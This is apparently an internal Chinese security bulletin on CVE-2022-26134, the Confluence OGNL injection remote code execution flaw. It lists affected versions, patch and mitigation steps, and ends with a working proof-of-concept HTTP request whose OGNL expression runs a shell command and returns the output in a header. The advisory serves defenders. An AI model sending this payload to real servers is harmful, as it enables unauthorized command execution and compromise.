一、背景介绍
近日,信息安全部监测到Atlassian Confluence Server and Data Center (CVE-2022-26134)远程代码执行漏洞。
Confluence是一个专业的企业知识管理与协同软件,也可以用于构建企业wiki。使用简单,可以用于企业团队共享信息、文档协作、集体讨论,信息推送。
1.1 漏洞描述
在Atlassian Confluence Server and Data Center上存在OGNL注入漏洞,恶意攻击者可以利用该漏洞在目标Atlassian Confluence Server and Data Center服务器上注入恶意ONGL表达式,造成远程执行代码并部署WebShell。
目前已发现在野利用,漏洞利用脚本已经放出,受影响单位尽快升级。
1.2 漏洞编号
CVE-2022-26134
1.3 漏洞等级
漏洞威胁等级:严重
二、修复建议
2.1 受影响版本
版本范围:
Confluence Server&Data Center ≥ 1.3.0
Atlassian Confluence Server and Data Center <7.4.17
Atlassian Confluence Server and Data Center <7.13.7
Atlassian Confluence Server and Data Center <7.14.3
Atlassian Confluence Server and Data Center <7.15.2
Atlassian Confluence Server and Data Center <7.16.4
Atlassian Confluence Server and Data Center <7.17.4
Atlassian Confluence Server and Data Center <7.18.1
2.2 修复建议
1、官方修复方案:
官方已发布版本 7.4.17、7.13.7、7.14.3、7.15.2、7.16.4、7.17.4 和 7.18.1,其中包含对此漏洞的修复。请尽快升级到新版本
下载地址:
https://www.atlassian.com/software/confluence/download-archives
https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.html
2、临时缓释方案:
下载官方发布的xwork-.0.3-atlassian-10.jar替换confluence/WEB-INF/lib/目录下原来的xwork jar文件,并重启Confluence
下载地址:
https://packages.atlassian.com/maven-internal/opensymphony/xwork/1.0.3-atlassian-10/xwork-1.0.3-atlassian-10.jar
2.3 参考链接:
https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.html
三、漏洞检测POC
漏洞复现
该漏洞利用方法十分简单,直接发送如下请求即可执行任意命令,并在HTTP返回头中获取执行结果:
GET /%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/ HTTP/1.1
Host: your-ip:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
其中使用到的OGNL表达式为${(#a=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec("id").getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Cmd-Response",#a))}。